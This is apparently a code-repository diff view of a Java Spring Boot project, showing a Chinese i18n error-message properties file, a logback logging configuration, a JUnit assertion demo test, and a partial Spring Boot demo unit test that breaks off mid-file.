#\u9519\u8BEF\u6D88\u606F #\u9519\u8BEF\u6D88\u606F
not.null=* \u5FC5\u987B\u586B\u5199 not.null=* \u5FC5\u987B\u586B\u5199
user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF user.jcaptcha.error=\u9A8C\u8BC1\u7801\u9519\u8BEF
user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548 user.jcaptcha.expire=\u9A8C\u8BC1\u7801\u5DF2\u5931\u6548
user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728. user.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u8D26\u53F7\uFF1A{0} \u4E0D\u5B58\u5728.
user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF user.password.not.match=\u7528\u6237\u4E0D\u5B58\u5728/\u5BC6\u7801\u9519\u8BEF
user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 user.password.retry.limit.count=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F user.password.retry.limit.exceed=\u5BC6\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664 user.password.delete=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u88AB\u5220\u9664
user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 user.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u8D26\u53F7\uFF1A{0} \u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 role.blocked=\u89D2\u8272\u5DF2\u5C01\u7981\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
user.logout.success=\u9000\u51FA\u6210\u529F user.logout.success=\u9000\u51FA\u6210\u529F
length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 length.not.valid=\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A user.username.not.blank=\u7528\u6237\u540D\u4E0D\u80FD\u4E3A\u7A7A
user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934 user.username.not.valid=* 2\u523020\u4E2A\u6C49\u5B57\u3001\u5B57\u6BCD\u3001\u6570\u5B57\u6216\u4E0B\u5212\u7EBF\u7EC4\u6210\uFF0C\u4E14\u5FC5\u987B\u4EE5\u975E\u6570\u5B57\u5F00\u5934
user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 user.username.length.valid=\u8D26\u6237\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A user.password.not.blank=\u7528\u6237\u5BC6\u7801\u4E0D\u80FD\u4E3A\u7A7A
user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4 user.password.length.valid=\u7528\u6237\u5BC6\u7801\u957F\u5EA6\u5FC5\u987B\u5728{min}\u5230{max}\u4E2A\u5B57\u7B26\u4E4B\u95F4
user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26 user.password.not.valid=* 5-50\u4E2A\u5B57\u7B26
user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF user.email.not.valid=\u90AE\u7BB1\u683C\u5F0F\u9519\u8BEF
user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A user.email.not.blank=\u90AE\u7BB1\u4E0D\u80FD\u4E3A\u7A7A
user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A user.phonenumber.not.blank=\u7528\u6237\u624B\u673A\u53F7\u4E0D\u80FD\u4E3A\u7A7A
user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF user.mobile.phone.number.not.valid=\u624B\u673A\u53F7\u683C\u5F0F\u9519\u8BEF
user.login.success=\u767B\u5F55\u6210\u529F user.login.success=\u767B\u5F55\u6210\u529F
user.register.success=\u6CE8\u518C\u6210\u529F user.register.success=\u6CE8\u518C\u6210\u529F
user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728 user.register.save.error=\u4FDD\u5B58\u7528\u6237 {0} \u5931\u8D25\uFF0C\u6CE8\u518C\u8D26\u53F7\u5DF2\u5B58\u5728
user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458 user.register.error=\u6CE8\u518C\u5931\u8D25\uFF0C\u8BF7\u8054\u7CFB\u7CFB\u7EDF\u7BA1\u7406\u4EBA\u5458
user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55 user.notfound=\u8BF7\u91CD\u65B0\u767B\u5F55
user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 user.forcelogout=\u7BA1\u7406\u5458\u5F3A\u5236\u9000\u51FA\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55
user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55 user.unknown.error=\u672A\u77E5\u9519\u8BEF\uFF0C\u8BF7\u91CD\u65B0\u767B\u5F55
auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF auth.grant.type.error=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u9519\u8BEF
auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528 auth.grant.type.blocked=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u5DF2\u7981\u7528
auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A auth.grant.type.not.blank=\u8BA4\u8BC1\u6743\u9650\u7C7B\u578B\u4E0D\u80FD\u4E3A\u7A7A
auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A auth.clientid.not.blank=\u8BA4\u8BC1\u5BA2\u6237\u7AEFid\u4E0D\u80FD\u4E3A\u7A7A
##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F ##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F
upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01<br/>\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01 upload.exceed.maxSize=\u4E0A\u4F20\u7684\u6587\u4EF6\u5927\u5C0F\u8D85\u51FA\u9650\u5236\u7684\u6587\u4EF6\u5927\u5C0F\uFF01<br/>\u5141\u8BB8\u7684\u6587\u4EF6\u6700\u5927\u5927\u5C0F\u662F\uFF1A{0}MB\uFF01
upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26 upload.filename.exceed.length=\u4E0A\u4F20\u7684\u6587\u4EF6\u540D\u6700\u957F{0}\u4E2A\u5B57\u7B26
##\u6743\u9650 ##\u6743\u9650
no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.permission=\u60A8\u6CA1\u6709\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.create.permission=\u60A8\u6CA1\u6709\u521B\u5EFA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.update.permission=\u60A8\u6CA1\u6709\u4FEE\u6539\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.delete.permission=\u60A8\u6CA1\u6709\u5220\u9664\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.export.permission=\u60A8\u6CA1\u6709\u5BFC\u51FA\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}] no.view.permission=\u60A8\u6CA1\u6709\u67E5\u770B\u6570\u636E\u7684\u6743\u9650\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458\u6DFB\u52A0\u6743\u9650 [{0}]
repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 repeat.submit.message=\u4E0D\u5141\u8BB8\u91CD\u590D\u63D0\u4EA4\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5
rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5 rate.limiter.message=\u8BBF\u95EE\u8FC7\u4E8E\u9891\u7E41\uFF0C\u8BF7\u7A0D\u5019\u518D\u8BD5
sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A sms.code.not.blank=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A
sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 sms.code.retry.limit.count=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F sms.code.retry.limit.exceed=\u77ED\u4FE1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A email.code.not.blank=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u4E0D\u80FD\u4E3A\u7A7A
email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21 email.code.retry.limit.count=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21
email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F email.code.retry.limit.exceed=\u90AE\u7BB1\u9A8C\u8BC1\u7801\u8F93\u5165\u9519\u8BEF{0}\u6B21\uFF0C\u5E10\u6237\u9501\u5B9A{1}\u5206\u949F
xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A xcx.code.not.blank=\u5C0F\u7A0B\u5E8F[code]\u4E0D\u80FD\u4E3A\u7A7A
social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A social.source.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[source]\u4E0D\u80FD\u4E3A\u7A7A
social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A social.code.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[code]\u4E0D\u80FD\u4E3A\u7A7A
social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A social.state.not.blank=\u7B2C\u4E09\u65B9\u767B\u5F55\u5E73\u53F0[state]\u4E0D\u80FD\u4E3A\u7A7A
##\u79DF\u6237 ##\u79DF\u6237
tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A tenant.number.not.blank=\u79DF\u6237\u7F16\u53F7\u4E0D\u80FD\u4E3A\u7A7A
tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.not.exists=\u5BF9\u4E0D\u8D77, \u60A8\u7684\u79DF\u6237\u4E0D\u5B58\u5728\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.blocked=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u7981\u7528\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458
tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458 tenant.expired=\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u7684\u79DF\u6237\u5DF2\u8FC7\u671F\uFF0C\u8BF7\u8054\u7CFB\u7BA1\u7406\u5458

View File

@@ -1,129 +1,129 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<configuration> <configuration>
<property name="log.path" value="./logs"/> <property name="log.path" value="./logs"/>
<property name="console.log.pattern" <property name="console.log.pattern"
value="%red(%d{yyyy-MM-dd HH:mm:ss}) %green([%thread]) %highlight(%-5level) %boldMagenta(%logger{36}%n) - %msg%n"/> value="%red(%d{yyyy-MM-dd HH:mm:ss}) %green([%thread]) %highlight(%-5level) %boldMagenta(%logger{36}%n) - %msg%n"/>
<property name="log.pattern" value="%d{yyyy-MM-dd HH:mm:ss} [%thread] %-5level %logger{36} - %msg%n"/> <property name="log.pattern" value="%d{yyyy-MM-dd HH:mm:ss} [%thread] %-5level %logger{36} - %msg%n"/>
<!-- 控制台输出 --> <!-- 控制台输出 -->
<appender name="console" class="ch.qos.logback.core.ConsoleAppender"> <appender name="console" class="ch.qos.logback.core.ConsoleAppender">
<encoder> <encoder>
<pattern>${console.log.pattern}</pattern> <pattern>${console.log.pattern}</pattern>
<charset>utf-8</charset> <charset>utf-8</charset>
</encoder> </encoder>
</appender> </appender>
<!-- 控制台输出 --> <!-- 控制台输出 -->
<appender name="file_console" class="ch.qos.logback.core.rolling.RollingFileAppender"> <appender name="file_console" class="ch.qos.logback.core.rolling.RollingFileAppender">
<file>${log.path}/sys-console.log</file> <file>${log.path}/sys-console.log</file>
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<!-- 日志文件名格式 --> <!-- 日志文件名格式 -->
<fileNamePattern>${log.path}/sys-console.%d{yyyy-MM-dd}.log</fileNamePattern> <fileNamePattern>${log.path}/sys-console.%d{yyyy-MM-dd}.log</fileNamePattern>
<!-- 日志最大 1天 --> <!-- 日志最大 1天 -->
<maxHistory>1</maxHistory> <maxHistory>1</maxHistory>
</rollingPolicy> </rollingPolicy>
<encoder> <encoder>
<pattern>${log.pattern}</pattern> <pattern>${log.pattern}</pattern>
<charset>utf-8</charset> <charset>utf-8</charset>
</encoder> </encoder>
<filter class="ch.qos.logback.classic.filter.ThresholdFilter"> <filter class="ch.qos.logback.classic.filter.ThresholdFilter">
<!-- 过滤的级别 --> <!-- 过滤的级别 -->
<level>INFO</level> <level>INFO</level>
</filter> </filter>
</appender> </appender>
<!-- 系统日志输出 --> <!-- 系统日志输出 -->
<appender name="file_info" class="ch.qos.logback.core.rolling.RollingFileAppender"> <appender name="file_info" class="ch.qos.logback.core.rolling.RollingFileAppender">
<file>${log.path}/sys-info.log</file> <file>${log.path}/sys-info.log</file>
<!-- 循环政策:基于时间创建日志文件 --> <!-- 循环政策:基于时间创建日志文件 -->
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<!-- 日志文件名格式 --> <!-- 日志文件名格式 -->
<fileNamePattern>${log.path}/sys-info.%d{yyyy-MM-dd}.log</fileNamePattern> <fileNamePattern>${log.path}/sys-info.%d{yyyy-MM-dd}.log</fileNamePattern>
<!-- 日志最大的历史 60天 --> <!-- 日志最大的历史 60天 -->
<maxHistory>30</maxHistory> <maxHistory>30</maxHistory>
</rollingPolicy> </rollingPolicy>
<encoder> <encoder>
<pattern>${log.pattern}</pattern> <pattern>${log.pattern}</pattern>
</encoder> </encoder>
<filter class="ch.qos.logback.classic.filter.LevelFilter"> <filter class="ch.qos.logback.classic.filter.LevelFilter">
<!-- 过滤的级别 --> <!-- 过滤的级别 -->
<level>INFO</level> <level>INFO</level>
<!-- 匹配时的操作:接收(记录) --> <!-- 匹配时的操作:接收(记录) -->
<onMatch>ACCEPT</onMatch> <onMatch>ACCEPT</onMatch>
<!-- 不匹配时的操作:拒绝(不记录) --> <!-- 不匹配时的操作:拒绝(不记录) -->
<onMismatch>DENY</onMismatch> <onMismatch>DENY</onMismatch>
</filter> </filter>
</appender> </appender>
<appender name="file_error" class="ch.qos.logback.core.rolling.RollingFileAppender"> <appender name="file_error" class="ch.qos.logback.core.rolling.RollingFileAppender">
<file>${log.path}/sys-error.log</file> <file>${log.path}/sys-error.log</file>
<!-- 循环政策:基于时间创建日志文件 --> <!-- 循环政策:基于时间创建日志文件 -->
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"> <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<!-- 日志文件名格式 --> <!-- 日志文件名格式 -->
<fileNamePattern>${log.path}/sys-error.%d{yyyy-MM-dd}.log</fileNamePattern> <fileNamePattern>${log.path}/sys-error.%d{yyyy-MM-dd}.log</fileNamePattern>
<!-- 日志最大的历史 60天 --> <!-- 日志最大的历史 60天 -->
<maxHistory>30</maxHistory> <maxHistory>30</maxHistory>
</rollingPolicy> </rollingPolicy>
<encoder> <encoder>
<pattern>${log.pattern}</pattern> <pattern>${log.pattern}</pattern>
</encoder> </encoder>
<filter class="ch.qos.logback.classic.filter.LevelFilter"> <filter class="ch.qos.logback.classic.filter.LevelFilter">
<!-- 过滤的级别 --> <!-- 过滤的级别 -->
<level>ERROR</level> <level>ERROR</level>
<!-- 匹配时的操作:接收(记录) --> <!-- 匹配时的操作:接收(记录) -->
<onMatch>ACCEPT</onMatch> <onMatch>ACCEPT</onMatch>
<!-- 不匹配时的操作:拒绝(不记录) --> <!-- 不匹配时的操作:拒绝(不记录) -->
<onMismatch>DENY</onMismatch> <onMismatch>DENY</onMismatch>
</filter> </filter>
</appender> </appender>
<!-- info异步输出 --> <!-- info异步输出 -->
<appender name="async_info" class="ch.qos.logback.classic.AsyncAppender"> <appender name="async_info" class="ch.qos.logback.classic.AsyncAppender">
<!-- 不丢失日志.默认的,如果队列的80%已满,则会丢弃TRACT、DEBUG、INFO级别的日志 --> <!-- 不丢失日志.默认的,如果队列的80%已满,则会丢弃TRACT、DEBUG、INFO级别的日志 -->
<discardingThreshold>0</discardingThreshold> <discardingThreshold>0</discardingThreshold>
<!-- 更改默认的队列的深度,该值会影响性能.默认值为256 --> <!-- 更改默认的队列的深度,该值会影响性能.默认值为256 -->
<queueSize>512</queueSize> <queueSize>512</queueSize>
<!-- 添加附加的appender,最多只能添加一个 --> <!-- 添加附加的appender,最多只能添加一个 -->
<appender-ref ref="file_info"/> <appender-ref ref="file_info"/>
</appender> </appender>
<!-- error异步输出 --> <!-- error异步输出 -->
<appender name="async_error" class="ch.qos.logback.classic.AsyncAppender"> <appender name="async_error" class="ch.qos.logback.classic.AsyncAppender">
<!-- 不丢失日志.默认的,如果队列的80%已满,则会丢弃TRACT、DEBUG、INFO级别的日志 --> <!-- 不丢失日志.默认的,如果队列的80%已满,则会丢弃TRACT、DEBUG、INFO级别的日志 -->
<discardingThreshold>0</discardingThreshold> <discardingThreshold>0</discardingThreshold>
<!-- 更改默认的队列的深度,该值会影响性能.默认值为256 --> <!-- 更改默认的队列的深度,该值会影响性能.默认值为256 -->
<queueSize>512</queueSize> <queueSize>512</queueSize>
<!-- 添加附加的appender,最多只能添加一个 --> <!-- 添加附加的appender,最多只能添加一个 -->
<appender-ref ref="file_error"/> <appender-ref ref="file_error"/>
</appender> </appender>
<!-- 整合 skywalking 控制台输出 tid --> <!-- 整合 skywalking 控制台输出 tid -->
<!-- <appender name="console" class="ch.qos.logback.core.ConsoleAppender">--> <!-- <appender name="console" class="ch.qos.logback.core.ConsoleAppender">-->
<!-- <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">--> <!-- <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">-->
<!-- <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">--> <!-- <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">-->
<!-- <pattern>[%tid] ${console.log.pattern}</pattern>--> <!-- <pattern>[%tid] ${console.log.pattern}</pattern>-->
<!-- </layout>--> <!-- </layout>-->
<!-- <charset>utf-8</charset>--> <!-- <charset>utf-8</charset>-->
<!-- </encoder>--> <!-- </encoder>-->
<!-- </appender>--> <!-- </appender>-->
<!-- 整合 skywalking 推送采集日志 --> <!-- 整合 skywalking 推送采集日志 -->
<!-- <appender name="sky_log" class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.log.GRPCLogClientAppender">--> <!-- <appender name="sky_log" class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.log.GRPCLogClientAppender">-->
<!-- <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">--> <!-- <encoder class="ch.qos.logback.core.encoder.LayoutWrappingEncoder">-->
<!-- <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">--> <!-- <layout class="org.apache.skywalking.apm.toolkit.log.logback.v1.x.TraceIdPatternLogbackLayout">-->
<!-- <pattern>[%tid] ${console.log.pattern}</pattern>--> <!-- <pattern>[%tid] ${console.log.pattern}</pattern>-->
<!-- </layout>--> <!-- </layout>-->
<!-- <charset>utf-8</charset>--> <!-- <charset>utf-8</charset>-->
<!-- </encoder>--> <!-- </encoder>-->
<!-- </appender>--> <!-- </appender>-->
<!--系统操作日志--> <!--系统操作日志-->
<root level="info"> <root level="info">
<appender-ref ref="console" /> <appender-ref ref="console" />
<appender-ref ref="async_info" /> <appender-ref ref="async_info" />
<appender-ref ref="async_error" /> <appender-ref ref="async_error" />
<appender-ref ref="file_console" /> <appender-ref ref="file_console" />
<!-- <appender-ref ref="sky_log"/>--> <!-- <appender-ref ref="sky_log"/>-->
</root> </root>
</configuration> </configuration>

View File

@@ -1,45 +1,45 @@
package org.dromara.test; package org.dromara.test;
import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
/** /**
* 断言单元测试案例 * 断言单元测试案例
* *
* @author Lion Li * @author Lion Li
*/ */
@DisplayName("断言单元测试案例") @DisplayName("断言单元测试案例")
public class AssertUnitTest { public class AssertUnitTest {
@DisplayName("测试 assertEquals 方法") @DisplayName("测试 assertEquals 方法")
@Test @Test
public void testAssertEquals() { public void testAssertEquals() {
Assertions.assertEquals("666", new String("666")); Assertions.assertEquals("666", new String("666"));
Assertions.assertNotEquals("666", new String("666")); Assertions.assertNotEquals("666", new String("666"));
} }
@DisplayName("测试 assertSame 方法") @DisplayName("测试 assertSame 方法")
@Test @Test
public void testAssertSame() { public void testAssertSame() {
Object obj = new Object(); Object obj = new Object();
Object obj1 = obj; Object obj1 = obj;
Assertions.assertSame(obj, obj1); Assertions.assertSame(obj, obj1);
Assertions.assertNotSame(obj, obj1); Assertions.assertNotSame(obj, obj1);
} }
@DisplayName("测试 assertTrue 方法") @DisplayName("测试 assertTrue 方法")
@Test @Test
public void testAssertTrue() { public void testAssertTrue() {
Assertions.assertTrue(true); Assertions.assertTrue(true);
Assertions.assertFalse(true); Assertions.assertFalse(true);
} }
@DisplayName("测试 assertNull 方法") @DisplayName("测试 assertNull 方法")
@Test @Test
public void testAssertNull() { public void testAssertNull() {
Assertions.assertNull(null); Assertions.assertNull(null);
Assertions.assertNotNull(null); Assertions.assertNotNull(null);
} }
} }

View File

@@ -1,70 +1,70 @@
package org.dromara.test; package org.dromara.test;
import org.dromara.common.core.config.RuoYiConfig; import org.dromara.common.core.config.RuoYiConfig;
import org.junit.jupiter.api.*; import org.junit.jupiter.api.*;
import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
import java.util.concurrent.TimeUnit; import java.util.concurrent.TimeUnit;
/** /**
* 单元测试案例 * 单元测试案例
* *
* @author Lion Li * @author Lion Li
*/ */
@SpringBootTest // 此注解只能在 springboot 主包下使用 需包含 main 方法与 yml 配置文件 @SpringBootTest // 此注解只能在 springboot 主包下使用 需包含 main 方法与 yml 配置文件
@DisplayName("单元测试案例") @DisplayName("单元测试案例")
public class DemoUnitTest { public class DemoUnitTest {
@Autowired @Autowired
private RuoYiConfig ruoYiConfig; private RuoYiConfig ruoYiConfig;
@DisplayName("测试 @SpringBootTest @Test @DisplayName 注解") @DisplayName("测试 @SpringBootTest @Test @DisplayName 注解")
@Test @Test
public void testTest() { public void testTest() {
System.out.println(ruoYiConfig); System.out.println(ruoYiConfig);
} }
@Disabled @Disabled
@DisplayName("测试 @Disabled 注解") @DisplayName("测试 @Disabled 注解")
@Test @Test
public void testDisabled() { public void testDisabled() {
System.out.println(ruoYiConfig); System.out.println(ruoYiConfig);
} }
@Timeout(value = 2L, unit = TimeUnit.SECONDS) @Timeout(value = 2L, unit = TimeUnit.SECONDS)
@DisplayName("测试 @Timeout 注解") @DisplayName("测试 @Timeout 注解")
@Test @Test
public void testTimeout() throws InterruptedException { public void testTimeout() throws InterruptedException {
Thread.sleep(3000); Thread.sleep(3000);
System.out.println(ruoYiConfig); System.out.println(ruoYiConfig);
} }
@DisplayName("测试 @RepeatedTest 注解") @DisplayName("测试 @RepeatedTest 注解")
@RepeatedTest(3) @RepeatedTest(3)
